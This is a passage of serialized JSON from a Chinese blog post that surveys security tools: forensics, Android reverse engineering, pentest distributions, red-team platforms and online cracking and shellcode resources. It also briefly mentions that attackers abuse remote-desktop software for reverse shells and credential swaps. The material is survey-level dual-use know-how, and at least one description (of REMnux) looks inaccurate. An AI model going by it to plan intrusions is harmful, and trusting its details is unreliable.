提取文件\nvolatility -f memory.dmp --profile=Win7SP1x64 filescan\n",[40,907,905],{"__ignoreMap":38},[25,909,911],{"id":910},"autopsy-sleuth-kit","autopsy \u002F sleuth kit",[10,913,914,917,918,921],{},[175,915,916],{},"Autopsy"," 是磁盘取证平台（GUI），基于 ",[175,919,920],{},"Sleuth Kit","（命令行工具集）。用于分析磁盘镜像、恢复删除文件、提取时间线、分析文件系统元数据。",[21,923,924],{"id":924},"移动安全",[25,926,928],{"id":927},"easyre-apkide","easyre \u002F apkIDE",[10,930,931,934,935,938],{},[175,932,933],{},"EasyRE","：Android 应用逆向工具包，集成 APK 解包\u002F反编译\u002F签名\u002F重打包\u002F安装。",[175,936,937],{},"APKIDE","：类似工具，可视化查看 DEX\u002FSmali\u002FJava 源码。",[25,940,942],{"id":941},"jadx-jeb","jadx \u002F jeb",[10,944,945,948,949,952],{},[175,946,947],{},"JADX"," — 开源 Android\u002FJava 反编译器，DEX → Java 源码。",[175,950,951],{},"JEB"," — 商业反编译器（支持 ARM\u002FAndroid\u002FDalvik），拥有强大的本地反编译器和可视化 API。",[25,954,956],{"id":955},"fridadroid-mobsf","fridadroid \u002F mobSF",[10,958,959,962,963,966,967,970],{},[175,960,961],{},"Frida"," + ",[175,964,965],{},"Droid","：Frida Hook 框架在 Android 上的 Port\u002FFork（注入运行中的应用进行动态分析和修改）。",[175,968,969],{},"MobSF","：移动应用安全测试框架，支持静态\u002F动态分析 Android\u002FiOS 应用，自动检测漏洞。",[21,972,973],{"id":973},"渗透测试环境",[25,975,977],{"id":976},"kali-linux","kali linux",[10,979,980],{},"渗透测试标杆发行版，预装 600+ 安全工具，涵盖信息收集、漏洞评估、漏洞利用、逆向工程、取证等。",[25,982,984],{"id":983},"archlinux-blackarch","archlinux \u002F blackarch",[10,986,987],{},"BlackArch 是 Arch Linux 的渗透测试发行版（2800+ 工具），适合喜欢滚动更新的安全研究者。",[25,989,991],{"id":990},"commando-vm","commando VM",[10,993,994],{},"Windows 渗透测试虚拟机，FireEye\u002FMandiant 出品。基于 Windows + Chocolatey 自动安装全套安全工具：Burp、Nmap、Metasploit、Cobalt Strike、Sysinternals 等。适合需要 Windows 原生工具链的场景。",[25,996,997],{"id":997},"remnux",[10,999,1000],{},"Windows 恶意软件分析虚拟机，预装了反汇编器\u002F调试器\u002F行为监控\u002F网络分析等全套 Malware Analysis 工具。与 Commando VM 属同一团队出品。",[21,1002,1003],{"id":1003},"其他工具",[25,1005,1007],{"id":1006},"anydesk-teamviewer概念","anydesk \u002F teamviewer（概念）",[10,1009,1010],{},"远控软件的\"杀软特征\"，已被各大安全方案严密监控。攻击者常用远控软件建立持久化通道：使用白+黑手段通过 AnyDesk 的 Syscall 反弹 Shell，或替换合法的 TeamViewer 凭据接入。",[25,1012,1014],{"id":1013},"cyberedge赛博丽刃","cyberedge（赛博丽刃）",[10,1016,1017],{},"绿盟科技出品的红队模拟与评估平台，集成反病毒规避\u002F权限提升\u002F持久化\u002F横向移动等模块。国内商业竞品。",[25,1019,1020],{"id":1020},"常用在线工具集",[10,1022,1023],{},"密码破解在线查询：CrackStation、Cmd5、Somd5。子域名\u002F证书信息：crt.sh、SecurityTrails、VirusTotal。Shellcode 转换生成器：shell-storm.org。加密解密：CyberChef（堪称网安瑞士军刀）。",{"title":38,"searchDepth":1025,"depth":1025,"links":1026},4,[1027,1040,1045,1053,1064,1067,1072,1080,1085,1093,1100,1106,1116,1120,1124,1128,1133,1139],{"id":23,"depth":1028,"text":23,"children":1029},2,[1030,1032,1033,1034,1035,1036,1037,1038,1039],{"id":27,"depth":1031,"text":27},3,{"id":44,"depth":1031,"text":44},{"id":56,"depth":1031,"text":56},{"id":68,"depth":1031,"text":68},{"id":80,"depth":1031,"text":80},{"id":92,"depth":1031,"text":92},{"id":104,"depth":1031,"text":104},{"id":116,"depth":1031,"text":116},{"id":128,"depth":1031,"text":128},{"id":142,"depth":1028,"text":142,"children":1041},[1042,1043,1044],{"id":145,"depth":1031,"text":145},{"id":157,"depth":1031,"text":157},{"id":169,"depth":1031,"text":170},{"id":181,"depth":1028,"text":181,"children":1046},[1047,1048,1049,1050,1051,1052],{"id":184,"depth":1031,"text":184},{"id":196,"depth":1031,"text":196},{"id":208,"depth":1031,"text":209},{"id":215,"depth":1031,"text":216},{"id":222,"depth":1031,"text":222},{"id":228,"depth":1031,"text":229},{"id":235,"depth":1028,"text":236,"children":1054},[1055,1056,1057,1058,1059,1060,1061,1062,1063],{"id":239,"depth":1031,"text":240},{"id":277,"depth":1031,"text":277},{"id":283,"depth":1031,"text":283},{"id":295,"depth":1031,"text":295},{"id":307,"depth":1031,"text":307},{"id":319,"depth":1031,"text":319},{"id":331,"depth":1031,"text":332},{"id":347,"depth":1031,"text":347},{"id":353,"depth":1031,"text":353},{"id":365,"depth":1028,"text":365,"children":1065},[1066],{"id":368,"depth":1031,"text":369},{"id":381,"depth":1028,"text":382,"children":1068},[1069,1070,1071],{"id":385,"depth":1031,"text":386},{"id":395,"depth":1031,"text":395},{"id":401,"depth":1031,"text":401},{"id":407,"depth":1028,"text":407,"children":1073},[1074,1075,1076,1077,1078,1079],{"id":410,"depth":1031,"text":410},{"id":422,"depth":1031,"text":423},{"id":435,"depth":1031,"text":435},{"id":447,"depth":1031,"text":447},{"id":470,"depth":1031,"text":470},{"id":482,"depth":1031,"text":482},{"id":494,"depth":1028,"text":494,"children":1081},[1082,1083,1084],{"id":497,"depth":1031,"text":497},{"id":509,"depth":1031,"text":510},{"id":522,"depth":1031,"text":522},{"id":534,"depth":1028,"text":534,"children":1086},[1087,1088,1089,1090,1091,1092],{"id":537,"depth":1031,"text":538},{"id":550,"depth":1031,"text":550},{"id":564,"depth":1031,"text":565},{"id":575,"depth":1031,"text":575},{"id":581,"depth":1031,"text":581},{"id":593,"depth":1031,"text":594},{"id":600,"depth":1028,"text":600,"children":1094},[1095,1096,1097,1098,1099],{"id":603,"depth":1031,"text":603},{"id":622,"depth":1031,"text":622},{"id":634,"depth":1031,"text":634},{"id":646,"depth":1031,"text":646},{"id":667,"depth":1031,"text":668},{"id":674,"depth":1028,"text":674,"children":1101},[1102,1103,1104,1105],{"id":677,"depth":1031,"text":678},{"id":696,"depth":1031,"text":697},{"id":717,"depth":1031,"text":718},{"id":730,"depth":1031,"text":730},{"id":742,"depth":1028,"text":742,"children":1107},[1108,1109,1110,1111,1112,1113,1114,1115],{"id":745,"depth":1031,"text":746},{"id":771,"depth":1031,"text":771},{"id":777,"depth":1031,"text":778},{"id":788,"depth":1031,"text":789},{"id":801,"depth":1031,"text":801},{"id":807,"depth":1031,"text":808},{"id":814,"depth":1031,"text":815},{"id":828,"depth":1031,"text":829},{"id":835,"depth":1028,"text":836,"children":1117},[1118,1119],{"id":839,"depth":1031,"text":839},{"id":853,"depth":1031,"text":854},{"id":867,"depth":1028,"text":867,"children":1121},[1122,1123],{"id":870,"depth":1031,"text":871},{"id":889,"depth":1031,"text":889},{"id":895,"depth":1028,"text":895,"children":1125},[1126,1127],{"id":898,"depth":1031,"text":898},{"id":910,"depth":1031,"text":911},{"id":924,"depth":1028,"text":924,"children":1129},[1130,1131,1132],{"id":927,"depth":1031,"text":928},{"id":941,"depth":1031,"text":942},{"id":955,"depth":1031,"text":956},{"id":973,"depth":1028,"text":973,"children":1134},[1135,1136,1137,1138],{"id":976,"depth":1031,"text":977},{"id":983,"depth":1031,"text":984},{"id":990,"depth":1031,"text":991},{"id":997,"depth":1031,"text":997},{"id":1003,"depth":1028,"text":1003,"children":1140},[1141,1142,1143],{"id":1006,"depth":1031,"text":1007},{"id":1013,"depth":1031,"text":1014},{"id":1020,"depth":1031,"text":1020},[1145],"工具","2026-06-07 10:00:00",false,"md","https:\u002F\u002Fimg2024.cnblogs.com\u002Fblog\u002F3838669\u002F202608\u002F3838669-20260807235957829-413565418.png",{"slots":1151},{},true,"\u002F2026\u002Ftool-review",null,{"text":1156,"minutes":1157,"time":1158,"words":1159},"22 min read",21.425,1285500,4285,{"title":5,"description":15},{"loc":1153},"posts\u002F2026\u002F网安工具大盘点",[1145],"tech","RXOmsEDrHitVLwV45fq2ucOgQffrvbbHlnPB4wYx4qI",[1154,1167],{"title":1168,"path":1169,"stem":1170,"date":1171,"type":1164,"children":-1},"博客使用指南","\u002F2026\u002Fblog-guide","posts\u002F2026\u002F博客使用指南","2026-06-07 12:00:00",1786192764714]